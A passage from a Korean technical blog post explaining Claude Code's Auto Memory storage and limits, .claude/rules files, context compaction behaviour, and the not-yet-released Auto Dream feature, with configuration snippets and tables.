&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/
├── MEMORY.md              # 핵심 인덱스 (매 세션 시작 시 자동 로딩)
├── debugging.md           # 디버깅 패턴 상세
├── api-conventions.md     # API 설계 결정사항
└── ...                    # Claude가 필요에 따라 생성하는 토픽 파일들&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;200줄 제한에 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;MEMORY.md&lt;/code&gt;의 &lt;b&gt;첫 200줄&lt;/b&gt;만 세션 시작 시 로딩된다. (체인지로그 v2.1.83 기준 25KB 트렁케이션 캡도 적용.) &lt;br /&gt;200줄을 넘는 내용은 무시된다. Claude는 이를 알기 때문에, 상세한 내용은 별도 토픽 파일로 분리하고 MEMORY.md에는 인덱스만 유지한다. 토픽 파일은 필요할 때만 읽는다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;&amp;lt;project&amp;gt;&lt;/code&gt; 경로는 git 리포지토리에서 파생된다. git repo 외부에서는 현재 project root가 기준이 된다. 따라서 같은 머신에서 같은 리포의 모든 워크트리와 하위 디렉토리가 하나의 auto memory 디렉토리를 공유한다. 다만 &lt;b&gt;다른 머신에서 같은 리포를 클론해도 메모리 파일은 공유되지 않는다&lt;/b&gt; &amp;mdash; Auto Memory는 로컬 디스크 전용이다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/memory#storage-location&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서 Storage location&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;뭘 기억하고, 뭘 안 기억하는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;기억하는 것&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600; background-color: #f8d7da;&quot;&gt;기억하지 않는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;빌드 명령어, 테스트 실행 방법&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;일시적인 대화 컨텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;디버깅 인사이트, 해결 패턴&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;코드에서 직접 읽을 수 있는 정보 (구조, 함수명 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;아키텍처 메모, 설계 결정 이유&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;git 히스토리에서 확인 가능한 정보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;코드 스타일 선호도&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md에 이미 명시된 규칙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;워크플로우 습관, 사용자 교정 내용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;매 세션의 사소한 시행착오 내역&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설정 및 관리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory는 기본적으로 &lt;b&gt;켜져 있다&lt;/b&gt;. 끄는 방법은 3가지다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 방법 1: 세션 내에서 토글
/memory
# &amp;rarr; &quot;Auto-memory: on&quot; 옆의 토글로 끄기

# 방법 2: 환경변수로 비활성화
export CLAUDE_CODE_DISABLE_AUTO_MEMORY=1

# 방법 3: 설정 파일로 비활성화
# ~/.claude/settings.json 또는 .claude/settings.json
{
  &quot;autoMemoryEnabled&quot;: false
}

# 일회성 비활성화 (스크립트/CI에서, v2.1.81+)
# 주의: --bare는 메모리만 끄는 것이 아니라 hooks, LSP, 플러그인,
# CLAUDE.md 자동탐색 등도 모두 비활성화하는 &quot;최소 모드&quot;다.
# 메모리만 끄려면 위의 환경변수 방법을 사용한다.
claude --bare -p &quot;one-shot task&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리 저장 경로를 변경하고 싶으면 &lt;code&gt;autoMemoryDirectory&lt;/code&gt;를 설정한다 (v2.1.74+).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 설정은 &lt;b&gt;보안상 정책(managed policy), 사용자, 로컬 설정에서만 허용&lt;/b&gt;되고, 프로젝트 설정(&lt;code&gt;.claude/settings.json&lt;/code&gt;)에서는 사용할 수 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// ~/.claude/settings.json (사용자 설정)
{
  &quot;autoMemoryDirectory&quot;: &quot;~/Library/Mobile Documents/com~apple~CloudDocs/claude-memory&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;위 예시처럼 iCloud Drive나 Dropbox 경로를 지정하면 여러 머신에서 파일을 공유할 수 있지만, 이것은 &lt;b&gt;비공식 우회&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서는 &quot;Auto memory is machine-local&quot;이라고 명시하며, 이 방법의 동작을 보장하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 2.A: .claude/rules/ --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;규칙을 파일로 분리하기: &lt;code&gt;.claude/rules/&lt;/code&gt;&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md 하나에 모든 규칙을 넣으면 200줄 제한에 금방 걸린다. 현재 공식 문서가 권장하는 해결책은 &lt;code&gt;.claude/rules/&lt;/code&gt; 디렉토리다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/memory#organize-rules-with-claude-rules&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;.claude/
├── CLAUDE.md           # 핵심 지침 (짧게)
└── rules/
    ├── testing.md      # 테스트 컨벤션
    ├── api-design.md   # API 설계 원칙
    └── security.md     # 보안 요구사항&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;rules 파일에는 &lt;b&gt;YAML frontmatter의 &lt;code&gt;paths:&lt;/code&gt; 필드&lt;/b&gt;로 특정 파일 타입에만 적용되는 &lt;b&gt;path-scoped 규칙&lt;/b&gt;을 만들 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;---
paths:
  - &quot;src/api/**/*.ts&quot;
---

# API 개발 규칙
- 모든 엔드포인트에 입력 유효성 검사 필수
- 표준 에러 응답 형식 사용&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;path-scoped 규칙의 장점&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md에 있는 규칙은 세션 시작 시 &lt;b&gt;항상&lt;/b&gt; 로딩된다. 반면 path-scoped 규칙은 &lt;b&gt;해당 파일 타입을 작업할 때만&lt;/b&gt; 컨텍스트에 추가된다. TypeScript API 규칙이 Python 스크립트 작업 시 불필요하게 토큰을 쓰지 않는다는 뜻이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인 전체 프로젝트에 적용할 규칙은 &lt;code&gt;~/.claude/rules/&lt;/code&gt;에 두면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 2.B: 서브에이전트 메모리 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;서브에이전트도 메모리를 가질 수 있다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 서브에이전트(병렬 작업, 백그라운드 에이전트)도 자체 Auto Memory를 유지하도록 설정할 수 있다. 서브에이전트가 학습한 내용이 별도 메모리 디렉토리에 쌓이며, 다음 실행 시 재사용된다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/sub-agents#enable-persistent-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 Claude Code 사용자라면 서브에이전트 메모리를 별도로 설정할 일은 거의 없다. 하네스나 멀티에이전트 파이프라인을 구축하는 경우에 해당하는 기능이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Context Compaction: 컨텍스트 압축&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동 압축 동작&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context Compaction은 &quot;Auto Dream&quot;의 나머지 절반이다. 세션 중 컨텍스트 윈도우가 한계에 가까워지면 자동으로 정리한다. 사용자가 직접 개입할 필요 없이 배경에서 동작한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;구체적으로 &lt;b&gt;무엇이 보존되고 무엇이 손실되는지&lt;/b&gt;가 중요하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;보존되는 것&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600; background-color: #f8d7da;&quot;&gt;손실될 수 있는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md 전체 (디스크에서 재로딩)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 초반의 상세 지시사항&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자의 최근 요청&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;오래된 tool output (파일 읽기 결과 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;핵심 코드 스니펫&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;시도했다 실패한 접근들의 상세 내역&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 이름, Plan mode 상태&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;긴 대화에서 초반에 논의한 설계 결정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;압축 과정은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;컨텍스트 윈도우가 한계에 도달
  &amp;darr;
1단계: 오래된 tool output 삭제 (코드 읽기 결과 등)
  &amp;darr;
2단계: 대화 요약 (사용자 요청과 핵심 코드 스니펫은 보존)
  &amp;darr;
3단계: CLAUDE.md를 디스크에서 다시 읽어서 재주입
  &amp;darr;
압축된 컨텍스트로 작업 계속&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;CLAUDE.md는 압축에서 살아남는다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이것이 핵심이다. &lt;code&gt;/compact&lt;/code&gt; 후에 Claude는 CLAUDE.md를 디스크에서 다시 읽어서 컨텍스트에 재주입한다. 따라서 프로젝트 규칙과 지침은 압축 후에도 유지된다. 반면 세션 초반의 상세한 지시사항은 손실될 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;수동 제어&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 수동으로 컨텍스트 압축
/compact

# 특정 주제에 집중하여 압축 (나머지는 덜 중요하게 처리)
/compact focus on the API changes

# 현재 컨텍스트 사용량 확인
/context&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md에 &quot;Compact Instructions&quot; 섹션을 추가하면, 압축 시 어떤 내용을 우선 보존할지 제어할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLAUDE.md와의 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;메모리가 나쁜 습관을 강화하면 어떻게 되나?&quot; 좋은 질문이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;답은 &lt;b&gt;CLAUDE.md가 Auto Memory보다 우선한다&lt;/b&gt;는 것이다. CLAUDE.md는 사용자가 직접 작성하는 규칙이고, Auto Memory는 Claude가 스스로 학습한 내용이다. 충돌이 생기면 CLAUDE.md의 명시적 지침이 이긴다. 잘못된 기억이 쌓이고 있다면 &lt;code&gt;/memory&lt;/code&gt;로 확인하고 수정/삭제할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 15px; border-left: 4px solid #ffc107; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠️ /compact 후 중첩 CLAUDE.md는 자동 재주입되지 않는다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프로젝트 루트의 CLAUDE.md&lt;/b&gt;는 &lt;code&gt;/compact&lt;/code&gt; 후 디스크에서 다시 읽혀 컨텍스트에 재주입된다. 그러나 &lt;b&gt;하위 디렉토리의 중첩 CLAUDE.md&lt;/b&gt;는 자동 재주입되지 않는다 &amp;mdash; Claude가 해당 디렉토리의 파일을 다시 읽을 때 비로소 재로딩된다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/memory#instructions-seem-lost-after-compact&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;compact 후 &quot;지시사항이 사라진 것 같다&quot;는 느낌이 든다면, 해당 지침이 중첩 CLAUDE.md에 있거나 대화 중에만 전달된 경우일 가능성이 높다. 모든 세션에서 유지되어야 할 중요한 지침은 &lt;b&gt;프로젝트 루트 CLAUDE.md&lt;/b&gt;에 두는 것이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Auto Dream &amp;mdash; 코드에는 있지만 아직 잠겨 있다&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여기서부터가 이 글의 핵심이다. Auto Dream은 &quot;있지만 없는&quot; 기능이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;UI에 보이는 것&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 &lt;code&gt;/memory&lt;/code&gt;를 실행하면 다음과 같은 메뉴가 표시된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Memory

# 자동 실행 미활성화 사용자:
    Auto-memory: on
    Auto-dream: off &amp;middot; never

# 자동 실행 활성화 사용자 (점진적 롤아웃 중):
    Auto-memory: on
    Auto-dream: on &amp;middot; never &amp;middot; /dream to run
    # &quot;never&quot;는 아직 한 번도 실행되지 않았다는 의미
    # &quot;/dream to run&quot;이 안내되지만, 실행하면 여전히 &quot;unknown skill&quot;

  &amp;gt; 1. User memory          Saved in ~/.claude/CLAUDE.md
    2. Project memory        Checked in at ./CLAUDE.md
    3. Open auto-memory folder&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;520&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcB09tk%2FdJMcacJjoru%2Fz4oEnvG0GneQRwQA6CHnS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;520&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;520&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 활성화된 사용자는 &lt;code&gt;Auto-dream: on &amp;middot; never &amp;middot; /dream to run&lt;/code&gt;이 표시된다. UI는 &lt;code&gt;/dream&lt;/code&gt;으로 수동 실행을 안내하지만, 이 명령어는 현재 구현되지 않아 실행하면 &quot;unknown skill&quot;이 반환된다&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(v2.1.88까지, GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;, 2026-03-31 확인).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 실행(background)과 수동 &lt;code&gt;/dream&lt;/code&gt; 명령어는 별개로 구현 중이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://dev.to/akari_iku/does-claude-code-need-sleep-inside-the-unreleased-auto-dream-feature-2n7m&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV Community, akari_iku, 2026-03-24&lt;/a&gt;, 소스 코드 분석 기반)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;ex) 나의 경우도 아직까지 킨적이 없으니, 지금 한번 켜보도록 하겠다. 다만 이후에 적용되기까지엔 조건이 있다고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Eclxt/dJMcagLHXc0/BbUrmbbNNOLdHlYsXmkcc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Eclxt/dJMcagLHXc0/BbUrmbbNNOLdHlYsXmkcc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Eclxt/dJMcagLHXc0/BbUrmbbNNOLdHlYsXmkcc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEclxt%2FdJMcagLHXc0%2FBbUrmbbNNOLdHlYsXmkcc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;427&quot; height=&quot;93&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;소스 코드가 말해주는 것&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;DEV Community의 akari_iku가 Claude Code 소스를 분석하여 밝혀낸 내용이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;파라미터&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기본값&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;enabled&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;서버 사이드 플래그&lt;/b&gt;. 로컬 &lt;code&gt;settings.json&lt;/code&gt;으로는 변경 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;minHours&lt;/code&gt;&lt;/td&gt;
